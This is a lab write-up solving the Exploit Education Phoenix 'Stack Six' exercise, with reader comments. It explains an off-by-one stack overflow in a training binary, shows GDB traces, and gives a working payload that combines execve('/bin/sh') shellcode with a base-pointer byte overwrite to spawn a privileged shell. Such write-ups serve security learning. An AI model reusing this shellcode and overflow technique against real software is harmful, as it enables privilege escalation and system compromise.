Exploit Education | Phoenix | Stack Six Solution

Stack Six

The description and source code can be found here:
http://exploit.education/phoenix/stack-six/

Objective

The comments of the source code gives us the objective: Can you execve(“/bin/sh”, …) ?

Also, the first sentence on the page asks, “Where does Stack Six go wrong, and what can you do with it?”

Source Code Analysis

Let’s have a look at main() first (I’ve left out the #ifdef since it’s not relevant here):

#define BANNER \
    "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
    char *ptr;
    printf("%s\n", BANNER);

    ptr = getenv("ExploitEducation");
    if (NULL == ptr) {
        errx(1, "Please specify an environment variable called ExploitEducation");
    }

    printf("%s\n", greet(ptr));
    return 0;
}

It starts by printing a banner and getting the ExploitEducation environment variable. It then calls the greet() function, passing a pointer to the string stored in ExploitEducation and prints the return result. No obvious bugs there. Let’s take a look at greet():

char *what = GREET;

char *greet(char *who) {
    char buffer[128];
    int maxSize;

    maxSize = strlen(who);
    if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
        maxSize = sizeof(buffer) - 1;
    }

    strcpy(buffer, what);
    strncpy(buffer + strlen(buffer), who, maxSize);

    return strdup(buffer);
}

As stated on the page, “The macro GREET is architecture dependent.” In this case, GREET is defined as “Welcome, I am pleased to meet you “, which is exactly 34 bytes long (including the space & not including the quotes). You can see that the function accepts a pointer to the string value of the ExploitEducation variable, saved as who. It reserves some space for the buffer (128 bytes) & maxSize variables. It then stores the length of the who (ExploitEducation) variable in the maxSize integer. A conditional checks to see if that size is greater than 127. If so, it adjusts the maxSize variable to 127. This, in conjunction with the strncpy() function later on, must be the programmer’s attempt at preventing a buffer overflow attack. The strcpy() function copies the GREET message (34 bytes long) into the beginning of the buffer array.

Here’s the interesting part. The strncpy() function copies the value of the who (ExploitEducation) variable into the buffer variable, starting after the GREET message. The function limits the number of bytes copied by maxSize (127 bytes), which WOULD limit the input to the size of the buffer variable, if it wasn’t accounting for the GREET message (34 bytes). However, as it is, this lets us put a total of 161 bytes (34 from the GREET message + 127 from the ExploitEducation environment variable) into the buffer variable that had 128 bytes allocated to it on the stack. Were I the programmer, I would have written the conditional that adjusts the maxSize variable like so:

if (maxSize > (sizeof(buffer) - strlen(what) - /* ensure null termination */ 1)) {
    maxSize = sizeof(buffer) - strlen(what) - 1;
}

Stack Smashing

Let’s have a look at the program in GDB to see what we can overwrite on the stack. First, I’ll set the ExploitEducation environment variable to be a length of 127 characters (no need to use more than that as they’ll just get cut off anyway). Then, in GDB, I’ll set a breakpoint in the greet() function right before the call to strncpy() so I can see the stack frame right before & right after.

user@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print "A"*127')

user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/stack-six
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from /opt/phoenix/amd64/stack-six...(no debugging symbols found)...done.

gef> disas greet
Dump of assembler code for function greet:
   0x00000000004006fd <+0>:     push   rbp
   0x00000000004006fe <+1>:     mov    rbp,rsp
   0x0000000000400701 <+4>:     push   rbx
   0x0000000000400702 <+5>:     sub    rsp,0xa8
   0x0000000000400709 <+12>:    mov    QWORD PTR [rbp-0xa8],rdi
   0x0000000000400710 <+19>:    mov    rax,QWORD PTR [rbp-0xa8]
   0x0000000000400717 <+26>:    mov    rdi,rax
   0x000000000040071a <+29>:    call   0x400580 <strlen@plt>
   0x000000000040071f <+34>:    mov    DWORD PTR [rbp-0x14],eax
   0x0000000000400722 <+37>:    mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000400725 <+40>:    cmp    eax,0x7f
   0x0000000000400728 <+43>:    jbe    0x400731 <greet+52>
   0x000000000040072a <+45>:    mov    DWORD PTR [rbp-0x14],0x7f
   0x0000000000400731 <+52>:    mov    rdx,QWORD PTR [rip+0x200458]        # 0x600b90 <what>
   0x0000000000400738 <+59>:    lea    rax,[rbp-0xa0]
   0x000000000040073f <+66>:    mov    rsi,rdx
   0x0000000000400742 <+69>:    mov    rdi,rax
   0x0000000000400745 <+72>:    call   0x400510 <strcpy@plt>
   0x000000000040074a <+77>:    mov    eax,DWORD PTR [rbp-0x14]
   0x000000000040074d <+80>:    movsxd rbx,eax
   0x0000000000400750 <+83>:    lea    rax,[rbp-0xa0]
   0x0000000000400757 <+90>:    mov    rdi,rax
   0x000000000040075a <+93>:    call   0x400580 <strlen@plt>
   0x000000000040075f <+98>:    mov    rdx,rax
   0x0000000000400762 <+101>:   lea    rax,[rbp-0xa0]
   0x0000000000400769 <+108>:   lea    rcx,[rax+rdx*1]
   0x000000000040076d <+112>:   mov    rax,QWORD PTR [rbp-0xa8]
   0x0000000000400774 <+119>:   mov    rdx,rbx
   0x0000000000400777 <+122>:   mov    rsi,rax
   0x000000000040077a <+125>:   mov    rdi,rcx
   0x000000000040077d <+128>:   call   0x400550 <strncpy@plt>
   0x0000000000400782 <+133>:   lea    rax,[rbp-0xa0]
   0x0000000000400789 <+140>:   mov    rdi,rax
   0x000000000040078c <+143>:   call   0x400560 <strdup@plt>
   0x0000000000400791 <+148>:   add    rsp,0xa8
   0x0000000000400798 <+155>:   pop    rbx
   0x0000000000400799 <+156>:   pop    rbp
   0x000000000040079a <+157>:   ret    
End of assembler dump.

gef> b *greet+128
Breakpoint 1 at 0x40077d

gef> run
Starting program: /opt/phoenix/amd64/stack-six 
Welcome to phoenix/stack-six, brought to you by https://exploit.education

Breakpoint 1, 0x000000000040077d in greet ()

Now we can examine the stack before and after the overflow. In order to make sure I see the whole stack and not too much beyond it, I’ll do some math. I’ll subtract the location of the saved return pointer from the contents of the RSP register to get the number of bytes:

gef> info frame
Stack level 0, frame at 0x7fffffffe5a0:
 rip = 0x40077d in greet; saved rip = 0x4007e9
 called by frame at 0x7fffffffe5d0
 Arglist at 0x7fffffffe590, args: 
 Locals at 0x7fffffffe590, Previous frame's sp is 0x7fffffffe5a0
 Saved registers:
  rbx at 0x7fffffffe588, rbp at 0x7fffffffe590, rip at 0x7fffffffe598

gef> p $sp
$1 = (void *) 0x7fffffffe4e0

gef> p/d 0x7fffffffe598 - 0x7fffffffe4e0
$2 = 184

Make note that the return base pointer is at 0x7fffffffe590. A “giant word” in GDB is 8 bytes. So examining 24 giant words starting at RSP should cover the whole stack. When looking at the stack, I like to match the unit (word vs giant word) with the CPU architecture as it makes memory addresses a bit easier to read.

gef> x/24xg 0x7fffffffe4e0
0x7fffffffe4e0: 0x00007ffff7ffc948      0x00007fffffffef10
0x7fffffffe4f0: 0x2c656d6f636c6557      0x6c70206d61204920
0x7fffffffe500: 0x6f74206465736165      0x6f79207465656d20
0x7fffffffe510: 0x0000000000002075      0x0000000000400878
0x7fffffffe520: 0x000000000040079b      0x0000000000000000
0x7fffffffe530: 0x0000000000000000      0x00007ffff7db6dde
0x7fffffffe540: 0x000000000040079b      0x0000000000a6002f
0x7fffffffe550: 0x0000000000000000      0x00007ffff7db6b1e
0x7fffffffe560: 0x00007ffff7ffb300      0x0a00000000000000
0x7fffffffe570: 0x00007fffffffe618      0x0000007ff7d8fe8f
0x7fffffffe580: 0x00007fffffffe618      0x00007fffffffe618
0x7fffffffe590: 0x00007fffffffe5c0      0x00000000004007e9

gef> x/s 0x7fffffffe4f0
0x7fffffffe4f0: "Welcome, I am pleased to meet you "

gef> next
0x0000000000400782 in greet ()

[... GEF output snipped ...]

gef> x/24xg 0x7fffffffe4e0
0x7fffffffe4e0: 0x00007ffff7ffc948      0x00007fffffffef10
0x7fffffffe4f0: 0x2c656d6f636c6557      0x6c70206d61204920
0x7fffffffe500: 0x6f74206465736165      0x6f79207465656d20
0x7fffffffe510: 0x4141414141412075      0x4141414141414141
0x7fffffffe520: 0x4141414141414141      0x4141414141414141
0x7fffffffe530: 0x4141414141414141      0x4141414141414141
0x7fffffffe540: 0x4141414141414141      0x4141414141414141
0x7fffffffe550: 0x4141414141414141      0x4141414141414141
0x7fffffffe560: 0x4141414141414141      0x4141414141414141
0x7fffffffe570: 0x4141414141414141      0x4141414141414141
0x7fffffffe580: 0x4141414141414141      0x4141414141414141
0x7fffffffe590: 0x00007fffffffe541      0x00000000004007e9

We can see the start of the buffer variable is at 0x7fffffffe4f0. After the call to strncpy(), you can see that one of the A’s overwrote the LSB (least significant byte) of the saved base pointer at 0x7fffffffe590. This could be considered an off-by-one vulnerability. In a normal off-by-one vulnerability, you’d change the saved base pointer to point it higher in the stack (lower address) to some location where the attacker can control the contents. Then we might be able to control the flow of execution after the program hits the “ret” instruction in the main() function. However, as  you’ll see later, we have to be a bit more creative here.

Understanding the Vulnerability

Let’s look at some of the assembly to see how this works. First, I’ll look at the end of the greet() function:

   0x0000000000400791 <+148>:   add    rsp,0xa8
   0x0000000000400798 <+155>:   pop    rbx
   0x0000000000400799 <+156>:   pop    rbp
   0x000000000040079a <+157>:   ret

First, 168 bytes (0xa8) are added to RSP to undo the space reservation that happened at the beginning of the function. And since the function modifies the RBX register, it saved that value after the function prologue with a push rbx. Here, it simply undoes that with a pop rbx. Of course, this is overwritten with our buffer overflow, but that doesn’t really matter. Next, the saved base pointer value is restored into RBP with the pop rbp instruction. Finally, it hits the ret instruction, which is essentially just a pop rip instruction. So the value at RSP gets restored to the RIP register. So as you can see, overwriting the saved base point has no impact yet.

Let’s take a look at the end of the main() function:

   0x00000000004007e4 <+73>:    call   0x4006fd <greet>
   0x00000000004007e9 <+78>:    mov    rdi,rax
   0x00000000004007ec <+81>:    call   0x400530 <puts@plt>
   0x00000000004007f1 <+86>:    mov    eax,0x0
   0x00000000004007f6 <+91>:    leave  
   0x00000000004007f7 <+92>:    ret

The call to greet() leaves a return value in RAX, which is then moved to RDI as an argument to the puts() function. That prints the entire greeting. Next, EAX is zeroed out to give the program a 0 exit value. The leave, not seen in greet(), is normally the second-to-last instruction of a function. It’s essentially the same as a move rsp,rbp instruction. It brings the stack pointer register back to the same location as the base pointer register so as to free up the current stack frame. And, again, ret just performs a pop rip instruction.

The leave and ret instructions at the end of the main() function are critical here. If we overwrite the LSB of the saved base pointer on the stack, we can make it point to anywhere in memory between 0x7fffffffe500 and 0x7fffffffe600 (exclusive). Wherever RBP is pointing to is where RSP will end up and 8 bytes less than that is what will be restored into RIP after the ret instruction. The reason we can’t set the saved base pointer to 0x7fffffffe500 is because we’re unable to include null bytes (0x00) in our environment variable. This is important as it forces us to use a pointer already on the stack to restore into RIP. We can’t save a custom pointer within the buffer variable because all pointers start with at least 2 null bytes.

Exploitation

We can use GDB to find a pointer on the stack that points to user-controlled data. However, if we’re going to write an exploit that will work outside of GDB, we need to change a few environment variables. Let’s compare the environment variables in & out of GDB:

user@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print "A"*127')

user@phoenix-amd64:~$ env
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
SSH_CONNECTION=10.0.2.2 35810 10.0.2.15 22
USER=user
PWD=/home/user
HOME=/home/user
SSH_CLIENT=10.0.2.2 35810 22
SSH_TTY=/dev/pts/1
MAIL=/var/mail/user
TERM=xterm-256color
SHELL=/bin/bash
SHLVL=1
ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LOGNAME=user
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
_=/usr/bin/env

user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/stack-six 
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from /opt/phoenix/amd64/stack-six...(no debugging symbols found)...done.

gef> show env
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
SSH_CONNECTION=10.0.2.2 35810 10.0.2.15 22
USER=user
PWD=/home/user
HOME=/home/user
SSH_CLIENT=10.0.2.2 35810 22
SSH_TTY=/dev/pts/1
MAIL=/var/mail/user
TERM=xterm-256color
SHELL=/bin/bash
SHLVL=1
ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LOGNAME=user
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
_=/usr/local/bin/gdb
LINES=47
COLUMNS=166

There are 3 differences. First, GDB adds 2 environment variables, LINES & COLUMNS. Second, the underscore “_” variable should be set to the name of the currently running program. However, when debugging stack-six, you’ll notice that the underscore is set to the path to the GDB executable, not /opt/phoenix/amd64/stack-six. These will all change the addresses of our environment variables and everything else on the stack. To fix it, simply run the following 3 commands within GDB or put them in the ~/.gdbinit file:

unset env LINES
unset env COLUMNS
set env _ /opt/phoenix/amd64/stack-six

With that setup, let’s look at the stack for a pointer to user-controlled data. I know that I can control environment variables. So let’s look for a pointer there. First, I’ll need to get the addresses of the environment variables. I can use some of the output from GEF for this:

gef> b *main
Breakpoint 1 at 0x40079b

gef> run
Starting program: /opt/phoenix/amd64/stack-six 

Breakpoint 1, 0x000000000040079b in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x00007fffffffe638  →  0x00007fffffffe829  →  "/opt/phoenix/amd64/stack-six"

[... GEF output snipped ...]

gef> x/20s 0x00007fffffffe829
0x7fffffffe829: "/opt/phoenix/amd64/stack-six"
0x7fffffffe846: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
0x7fffffffee02: "SSH_CONNECTION=10.0.2.2 55068 10.0.2.15 22"
0x7fffffffee2d: "_=/opt/phoenix/amd64/stack-six"
0x7fffffffee4c: "OLDPWD=/opt/phoenix/amd64"
0x7fffffffee66: "USER=user"
0x7fffffffee70: "PWD=/home/user"
0x7fffffffee7f: "HOME=/home/user"
0x7fffffffee8f: "SSH_CLIENT=10.0.2.2 55068 22"
0x7fffffffeeac: "SSH_TTY=/dev/pts/0"
0x7fffffffeebf: "MAIL=/var/mail/user"
0x7fffffffeed3: "SHELL=/bin/bash"
0x7fffffffeee3: "TERM=xterm-256color"
0x7fffffffeef7: "SHLVL=1"
0x7fffffffeeff: "ExploitEducation=H1\322H\273//bin/shH\301\353\bSH\211\347PWH\211\346\260;\017\005", 'A' <repeats 96 times>, "\320"
0x7fffffffef90: "LOGNAME=user"
0x7fffffffef9d: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
0x7fffffffefdb: "/opt/phoenix/amd64/stack-six"
0x7fffffffeff8: ""
0x7fffffffeff9: ""

I set a breakpoint at the start of main() and ran the program to get the stack started. I found an address to the beginning of all the environment variables and examined the next 20 strings after that.

Note that I also have the OLDPWD environment variable. That’s because I had previously changed to the /opt/phoenix/amd64 directory and back to home (~). If you have not done this, then your stack addresses will differ slightly.

Next, I want to see the value of the saved base pointer in the greet() function, so I set a breakpoint in there right after RBP is pushed onto the stack:

gef> b *greet+1
Breakpoint 2 at 0x4006fe

gef> c
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education

Breakpoint 2, 0x00000000004006fe in greet ()

[... GEF output snipped ...]

gef> info frame
Stack level 0, frame at 0x7fffffffe5c0:
 rip = 0x4006fe in greet; saved rip = 0x4007e9
 called by frame at 0x7fffffffe5f0
 Arglist at 0x7fffffffe5b0, args: 
 Locals at 0x7fffffffe5b0, Previous frame's sp is 0x7fffffffe5c0
 Saved registers:
  rbp at 0x7fffffffe5b0, rip at 0x7fffffffe5b8

gef> x/1xg 0x7fffffffe5b0
0x7fffffffe5b0: 0x00007fffffffe5e0

So, just like before, we’ve confirmed that we can set RBP to any address between 0x7fffffffe500 and 0x7fffffffe600 (exclusive). The only difference this time is that we know that the addresses in GDB will be the same as while running the binary directly.

Now I’m going to use a GEF command to get a nice, pretty, view of that memory region and jump to the ret instruction in main() so that I know which pointers I have to choose from for putting into RIP:

gef> memory watch 0x00007fffffffe500 32 qword
[+] Adding memwatch to 0x7fffffffe500

gef> b *main+92
Breakpoint 3 at 0x4007f7

gef> c
Continuing.
Welcome, I am pleased to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����

Breakpoint 3, 0x00000000004007f7 in main ()

[... GEF output snipped ...]

───────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007ec <main+81>        call   0x400530 <puts@plt>
     0x4007f1 <main+86>        mov    eax, 0x0
     0x4007f6 <main+91>        leave  
 →   0x4007f7 <main+92>        ret    
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────── memory:0x7fffffffe500 ────
0x00007fffffffe500│+0x0000 0x00007ffff7ffc948
0x00007fffffffe508│+0x0008 0x00000000000000a6
0x00007fffffffe510│+0x0010 0x0000000000000001
0x00007fffffffe518│+0x0018 0x00007ffff7db6d0f
0x00007fffffffe520│+0x0020 0x00007ffff7ffc948
0x00007fffffffe528│+0x0028 0x00000000000000a6
0x00007fffffffe530│+0x0030 0x00007fffffffe58f
0x00007fffffffe538│+0x0038 0x0000000000000001
0x00007fffffffe540│+0x0040 0x4141414141414141
0x00007fffffffe548│+0x0048 0x00007ffff7ffb300
0x00007fffffffe550│+0x0050 0x0000000000000000
0x00007fffffffe558│+0x0058 0x0000000000600c00
0x00007fffffffe560│+0x0060 0x000000000040079b
0x00007fffffffe568│+0x0068 0x0000000000000000
0x00007fffffffe570│+0x0070 0x0000000000000000
0x00007fffffffe578│+0x0078 0x00007ffff7db6b1e
0x00007fffffffe580│+0x0080 0x00007ffff7ffb300
0x00007fffffffe588│+0x0088 0x0a00000000000000
0x00007fffffffe590│+0x0090 0x00007ffff7ffb300
0x00007fffffffe598│+0x0098 0x00007ffff7db9934
0x00007fffffffe5a0│+0x00a0 0x4141414141414141
0x00007fffffffe5a8│+0x00a8 0x00007fffffffe541
0x00007fffffffe5b0│+0x00b0 0x00007fffffffe648
0x00007fffffffe5b8│+0x00b8 0x00000000004007f1
0x00007fffffffe5c0│+0x00c0 0x00007fffffffe638
0x00007fffffffe5c8│+0x00c8 0x00000001ffffe648
0x00007fffffffe5d0│+0x00d0 0x000000000040079b
0x00007fffffffe5d8│+0x00d8 0x00007fffffffef10
0x00007fffffffe5e0│+0x00e0 0x0000000000000001
0x00007fffffffe5e8│+0x00e8 0x00007ffff7d8fd62
0x00007fffffffe5f0│+0x00f0 0x0000000000000000
0x00007fffffffe5f8│+0x00f8 0x00007fffffffe630
───────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "stack-six", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4007f7 → main()
──────────────────────────────────────────────────────────────────────────────────────────

gef> x/s 0x00007fffffffef10
0x7fffffffef10: 'A' <repeats 127 times>

Here, we can easily scan the memory for a pointer to use. I’m looking for something pointing to the environment variables, so between 0x7fffffffe86a and 0x7fffffffeff8. I’ve highlighted one that looks promising. My ExploitEducation variable starts at 0x7fffffffeeff, so I examined the string there. Lo & behold, it points right to the start of the content of the variable! This couldn’t be a better location. Next, I’ll set the ExploitEducation variable again, but with shellcode at the beginning. The shellcode I got from http://shell-storm.org/shellcode/files/shellcode-603.php. And we’ll need to set the saved base pointer to 0x00007fffffffe5d0.

user@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + "A"*96 + "\xd0"')

user@phoenix-amd64:~$ /opt/phoenix/amd64/stack-six 
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you H1�H�//bin/shH�SH��PWH���;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����

$ id
uid=1000(user) gid=1000(user) euid=406(phoenix-amd64-stack-six) egid=406(phoenix-amd64-stack-six) groups=406(phoenix-amd64-stack-six),27(sudo),1000(user)

Great success!.

12 thoughts on “Exploit Education | Phoenix | Stack Six Solution

  1. A fellow traveler says:

    Hello there, I have recently started exploit education without zero knowledge in reverse engineering , after searching for help in Google for a reference which could help me to solve the Phoenix challenge , found this blog (^^).
    This blog is awesome and is really helpful and understands for me .

    In this level which is stack-six I got into a problem that I see u don’t have it , may be they have updated the challenge the error I am getting here is
    stack-six: Please specify an environment variable called ExploitEducation. So this is my blockage how to give a variable to the run after adding the break in greet function.
    I have tried :
    run <<< ExploitEducation = $(python -c 'print "A"*4')
    and shows error /bin/bash :warning: here-document at line 0 delimited by end-of-file (wanted 'ExploitEduction')

    How to over come this.
    Thank you in advance ^_^.
    -a fellow traveler

    Reply
    1. Andrew Lamarra says:

      You might notice that before going into GDB, I run the following command:

      $ export ExploitEducation=$(python -c 'print "A"*127')

      This will create the ExploitEducation environment variable. If you’re already in GDB, then you can use the set environment command, though this doesn’t work with command substitution. For instance:

      (gdb) set environment ExploitEducation=AAAA
      (gdb) show environment ExploitEducation
      ExploitEducation = AAAA
      (gdb) set environment ExploitEducation=$(python -c 'print("B")')
      (gdb) show environment ExploitEducation
      ExploitEducation = $(python -c 'print("B")')
      Reply
  2. Rhythn says:

    Hi,
    I’m trying out this solution on Ubuntu 18.04. But `$rsp` at `ret` in `main` keeps shifting.
    Meaning even if I overwrite the LSB of base pointer with same data everytime, `$rsp` doesn’t always point to beginning of the value of `ExploitEducation` environment variable.

    Also, env variable are comparatively more keys. I don’t think it should effect.
    Have you seen this behaviour?

    Reply
    1. Andrew Lamarra says:

      First, do you have ASLR disabled? If not, see: https://askubuntu.com/a/318476.

      Second, the environment variables will differ between running the program in GDB vs running it natively. See what I have to say the Exploitation section. This will have an impact on your results. You’ll want to make sure the environment variables in GDB match your regular running environment.

      Reply
  3. Rhythn says:

    Even within gdb, when ASLR is off, I can see the $rsp value varying wrt to beginning of env variable.

    I have managed to get the Environment variable in and outside gdb. I was having more envs because I was working on shell and yours seem to be a ssh session.

    Reply
  4. Johnathan says:

    Hey, I found this article so much easy to understand!
    Although this is a tough task with me but with your clear explanation, I could understand and try to do it again myself.
    If there is star rating, I would vote 5 star for this post.
    Thanks again!

    Reply
  5. martin says:

    Hi i don’t understand why in the payload you use “A”*96 why you use 96?

    Reply
    1. Andrew Lamarra says:

      The total number of bytes for that environment variable is 127. Any more than that and it just gets cut off. I use “A”*96 as a buffer to bring the total up to 96.

      Reply
  6. kasra_a2Fz says:

